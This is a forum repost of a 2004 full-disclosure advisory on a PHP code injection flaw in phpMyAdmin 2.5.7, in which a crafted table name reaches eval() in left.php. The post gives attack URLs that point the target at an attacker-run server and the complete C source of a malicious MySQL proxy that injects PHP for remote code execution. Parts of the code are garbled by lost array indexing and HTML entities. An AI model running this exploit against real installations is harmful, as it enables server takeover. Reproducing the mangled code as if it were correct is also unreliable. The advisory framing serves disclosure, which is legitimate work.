发新话题
打印

php codes injection in phpMyAdmin version 2.5.7.

php codes injection in phpMyAdmin version 2.5.7.

信息来源:Anarchy
复制内容到剪贴板
代码:
Software        : phpMyAdmin

Version      : 2.5.7

Vulnerability    : php codes injection

Problem-Type  : remote user

phpMyAdmin is web-based mysql administration written

in PHP.



There is a vulnerability in phpMyAdmin version 2.5.7.

This vulnerability would allow remote user to inject  

php codes

to be executed by eval() function (in file left.php).

However, This vulnerability only effect if variable

$cfg['LeftFrameLight']

set to   FALSE (in file config.inc.php)



1. Bugs



The Bugs are  phpMyAdmin  do not prevent any user

from



1.a. Ability to grow up array variables by way of GET

params



PhpMyAdmin has multiple servers configuration stored

in array variables ($cfg['Servers'][$i]). They  are

coded in file

config.inc.php.

They are  usually set at instalation time by owner.

Each configuration contains mysql server information

to be used

by phpMyAdmin  as host, port, user, password,

authentication type, database

name etc of mysql server.

Up to three servers configuration is provided by

default.



However, Uninitialized $cfg['Servers'][$i]  allows

remote user to add server

configuration to the list of servers configuration by

growing up

$cfg['Servers'][$i] array through GET  parameters.



Remote user could add server configuration like this

[url]http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[/url][Servers]

[4]

[host]=202.81.x.x&cfg[Servers][4]

[port]=8888&cfg[Servers][4][user]=alice ..

and so forth.

The running script will use the fourth server

configuration which remote user

supply.



1.b. Escape 'magic' quote (') oops



if variable $cfg['LeftFrameLight'] set to FALSE, this

part of codes is

executed.



$eval_string = '$tablestack[\'' . implode('\'][\'',

$_table) . '\']

[\'pma_name\'][] = \'' . str_replace('\'',
'\\\'',

$table) . '\';';

eval($eval_string);



$eval_string  will be php codes that executed by

function eval().

if we have one table  named 'mytable', $eval_string

will have  string value

$tablestack['']['pma_name'][] = 'mytable';



phpMyAdmin is improper to handle escaping single

quote.

So that  with crafted table name with its name

contains meta-chars like this

            \';exec(\"touch /tmp/touchable\");/*

$eval_string will  have  value

$tablestack['']['pma_name'][] =

'\\';exec("touch /tmp/touchable");/*';



In php language, It will interpret the string as  

three  php statements. The

second statement will be  our exploite codes. The

last statement without

trailing comment just give a  warning  message in

php.



2. Exploite



Since mysql does not allow table name contain

meta-chars, we have to provide

a wrapper of mysql server. The wrapper acts like a

proxy except that it will

sends a fake table name, when client request a "SHOW

TABLES" query, by

replacing the real table name with a string contains

exploite codes.



[url]http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[/url][Servers]

[4]

[host]=attacker.host.com&cfg[Servers][4]

[port]=8889&cfg[Servers][4]

[auth_type]=config&cfg[Servers][4]

[user]=user&cfg[Servers][4]

[password]=pass&cfg[Servers][4]

[connect_type]=tcp&&cfg[Servers][4]

[only_db]=databasename



In attacker.host.com  mysql wrapper will listen  in

port 8889 waiting for

connection.



3. Proof of Concept



The exploite code, mysql wrapper written in c, can be

founded in attachment

or from

[url]http://eagle.kecapi.com/sec/codes/phpmy-explt.c[/url]



4. Purpose

This full disclosure is intended to be educational

purpose.



Regards,



Nasir Simbolon

[url]http://eagle.kecapi.com[/url]

--

timor Domini



-------------------------------------------------------





phpmy-explt.c





/*   

* phpmy-explt.c  

* written by Nasir Simbolon <[email]nasir@kecapi.com[/email]>

* [url]http://eagle.kecapi.com[/url]

* Jakarta, Indonesia

*  

* June, 10 2004  

*  

* A phpMyAdmin-2.5.7 exploite program.

* This is a kind of  mysql server wrapper  acts

like a proxy except that it will sends a fake table

name,

* when client query "SHOW TABLES",  by replacing the

real table name with a string contains exploite

codes.

*

* Compile : gcc phpmy-explt.c -o phpmy-explt

*

* run with

* ./phpmy-explt

*

* and go to your target and put  

*

*

[url]http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[/url][Servers]

[4][host]=attacker.host.com&cfg[Servers][4]

[port]=8889&cfg[Servers][4]

[auth_type]=config&cfg[Servers][4]

[user]=user&cfg[Servers][4]

[password]=pass&cfg[Servers][4]

[connect_type]=tcp&&cfg[Servers][4]

[only_db]=databasename

*

* fill host,port,user,pass and databasename

correctly

*

*/





#include<stdio.h>

#include<sys/socket.h>

#include<netdb.h>



#define BIND_PORT 8889

#define MYSQL_PORT 3306

#define HOSTNAME "localhost"

#define DATABASE "phpmy"





#define BUFFER_LEN 1024



/* This is php code we want to inject into phpMyAdmin  

  Do NOT use  single quote (&#39;) in the string, use

double quote (") instead

*/

char *phpcodes =

"exec(\"touch /tmp/your-phpmyadmin-is-vulnerable\");";





  /* This is examples codes I captured when mysql

server

    reply to client&#39;s request of query "SHOW TABLES"

query.

    It shows  database  name &#39;phpmy&#39; and contain one

tablename  &#39;mytable&#39;

    Our aim is to manipulate the data received from

mysql server

    by replacing &#39;mytable&#39; with our exploide codes.

   

    0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,

    0xf ,&#39;T&#39; ,&#39;a&#39; ,&#39;b&#39; ,&#39;l&#39; ,&#39;e&#39;
,&#39;s&#39; ,&#39;_&#39; ,&#39;i&#39; ,&#39;n&#39; ,

    &#39;_&#39; ,&#39;p&#39; ,&#39;h&#39; ,&#39;p&#39; ,&#39;m&#39;
,&#39;y&#39; ,0x3 ,0x40,0x0 ,0x0 ,

    0x1 ,-2  ,0x3 ,0x1 ,0x0 ,0x1f,0x1 ,0x0 ,0x0 ,0x3 ,

    -2  ,8  ,0x0 ,0x0 ,0x4 ,7  ,&#39;m&#39; ,&#39;y&#39; ,&#39;t&#39;
,&#39;a&#39; ,

    &#39;b&#39; ,&#39;l&#39; ,&#39;e&#39; ,0x1 ,0  ,0  ,0x5 ,-2

  */





int build_exploite_code(char* dbname,char*

phpcodes,char** expcode)

{      

  char my1[21] =

{0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,

             0xf ,&#39;T&#39; ,&#39;a&#39; ,&#39;b&#39; ,&#39;l&#39;
,&#39;e&#39; ,&#39;s&#39; ,&#39;_&#39; ,&#39;i&#39; ,&#39;n&#39; ,

             &#39;_&#39;};  

  /* part of dbname    (&#39;p&#39; ,&#39;h&#39; ,&#39;p&#39; ,&#39;m&#39;
,&#39;y&#39;) */

  char my2[15] =

{0x3 ,0x40,0x0 ,0x0 ,0x1 ,-2  ,0x3 ,0x1 ,0x0 ,0x1f,

             0x1 ,0x0 ,0x0 ,0x3 ,-2};  

  /* part of int phpcodes string length +1  (8) */  

  char my3[3]  = {0x0 ,0x0 ,0x4};

  /* part of int phpcodes string length    (7) */  

  /* part of tablename   

(&#39;m&#39; ,&#39;y&#39; ,&#39;t&#39; ,&#39;a&#39; ,&#39;b&#39; ,&#39;l&#39;
,&#39;e&#39; ) */

  char my4[5]  = {0x1 ,0  ,0  ,0x5 ,-2};

      

  int len,i;



  len = 21 + strlen(dbname) + 15 + 1 + 3 + 1 +  

strlen(phpcodes) + 5 + 5;

  *expcode = (char*) malloc(sizeof(char) * len);  

   

  i = 0;

  bcopy(&my1[0],*expcode + i,21);

  i += 21;

  bcopy(dbname, *expcode + i,strlen(dbname));

  i += strlen(dbname);

  bcopy(&my2[0],*expcode + i,15);

  i += 15;

  (*expcode) = 5 + strlen(phpcodes) + 1;

  i ++;

  bcopy(&my3[0],*expcode + i,3);

  i += 3;  

  (*expcode)[i++] = 5 + strlen(phpcodes) ;

  /* this is our exploite codes*/

  (*expcode)[i++] = &#39;\\&#39;;  

  (*expcode)[i++] = &#39;\&#39;&#39;;  

  (*expcode)[i++] = &#39;;&#39;;  

  bcopy(phpcodes,*expcode + i,strlen(phpcodes));

  i += strlen(phpcodes);

  (*expcode)[i++] = &#39;/&#39;;  

  (*expcode)[i++] = &#39;*&#39;;  

  bcopy(&my4[0],*expcode + i,5);

   

  return len;

}



/* connect to mysql server*/



int connect_mysql()

{

   int s2;

   struct sockaddr_in ina;

   struct hostent *h;

   

   h = gethostbyname(HOSTNAME);

   /* set internet address */

   bcopy(h->h_addr,(void

*)&ina.sin_addr,h->h_length);

   ina.sin_family = AF_INET;

   ina.sin_port = htons(MYSQL_PORT);

   //ina.sin_zero[0]=&#39;\0&#39;;

   if((s2=socket(AF_INET,SOCK_STREAM,0)) < 0)  

      perror("Socket: ");

   

   if(connect(s2,(struct sockaddr

*)&ina,sizeof(ina)) < 0 )

                  perror("connect()");

   return s2;

}



/* listener */

int listener()

{

   int s1;

   int opt;

   struct sockaddr_in ina;



   /* set internet address */

   ina.sin_family = AF_INET;

   ina.sin_port = htons(BIND_PORT);

   ina.sin_addr.s_addr = INADDR_ANY;



   if((s1=socket(AF_INET,SOCK_STREAM,0)) < 0)  

      perror("Socket: ");

   

   opt = 1;

   setsockopt(s1,SOL_SOCKET, SO_REUSEADDR , (char

*)&opt, sizeof(opt) );

      

   if(bind(s1,(struct sockaddr

*)&ina,sizeof(ina))==-1)  

      perror("Bind: ");

      

   if(listen(s1, 10) == -1)  

      perror("Listen");  

      

  return s1;

}





int main(int argc,char* argv[])

{

      struct sockaddr_in ina1;

      int ina1_l;

      int s_daemon,s_mysql;

      size_t byte_read,byte_written;

      char *buf;

      int sc,event,n_select;

      fd_set rfds;

      struct timeval tv;      

      int exptlen,i;

      char *expt;

      char *dbname=DATABASE;

      

      buf = (char*) malloc(sizeof(char) *

(BUFFER_LEN));

      tv.tv_sec  = 15;

      tv.tv_usec = 0;

      

      /* we listen to port */

      s_daemon = listener();

   

      exptlen =

build_exploite_code(dbname,phpcodes,&expt);



      for(;;)  

      {

        fprintf(stderr,"waiting for

connection\n");

        

        if( -1 == (sc = accept(s_daemon,(struct

sockaddr *) &ina1,&ina1_l)) )  

            perror("accept()");

        /* if we get here, we have a new

connection */

        fprintf(stderr,"got client connection\n");

mysql:

        /* connect to mysql */

        s_mysql = connect_mysql();

      

        for(;;)  

        {

           FD_ZERO(&rfds);

           FD_SET(sc,&rfds);

           FD_SET(s_mysql,&rfds);                     

            

           n_select = (sc > s_mysql)? sc :

s_mysql;



           event =

select(n_select+1,&rfds,NULL,NULL,NULL);

           if(-1  == event)  

              perror("select()");

           else  

           {      

              if(FD_ISSET(s_mysql,&rfds))  

              {

                byte_read =

read(s_mysql,buf,BUFFER_LEN);

                /* check for closing client

connection*/

                if(byte_read == 0)  

                {

                  shutdown(s_mysql,SHUT_RDWR);

                  close(s_mysql);

                  goto mysql;

                }



                 /* check data received from

mysql server.

                  * if  buf[11] contain &#39;T&#39;,

data received from  mysq server is table list

                  *

                  * NOW we replace the table

with our exploite codes and send them to client

                  */

                if( &#39;T&#39; == buf[11])

                {

                  for(i=0;i<exptlen;i++)  

                    buf = expt;

                  byte_read = exptlen;

                }

               

                if(write(sc, buf, byte_read)

< 0)

                  break;  

              }

              

              if(FD_ISSET(sc,&rfds))  

              {  

                 byte_read =

read(sc,buf,BUFFER_LEN);

                 /* check for closing client

connection*/

                 if(byte_read == 0)  

                 {     

                   close(sc);   

                   break;

                 }



                if(write(s_mysql,buf,byte_read)

< 0)  

                     break;      

              }   

#if defined(DEBUG)              

              fprintf(stderr,"data:\n");  

              for(i=0;i<byte_read;i++)  

                    fprintf(stderr," %c(%x)

",buf,buf);

#endif   

           }   



        }  

      }

      free(buf);

      free(expt);

      return 0;

}

TOP

发新话题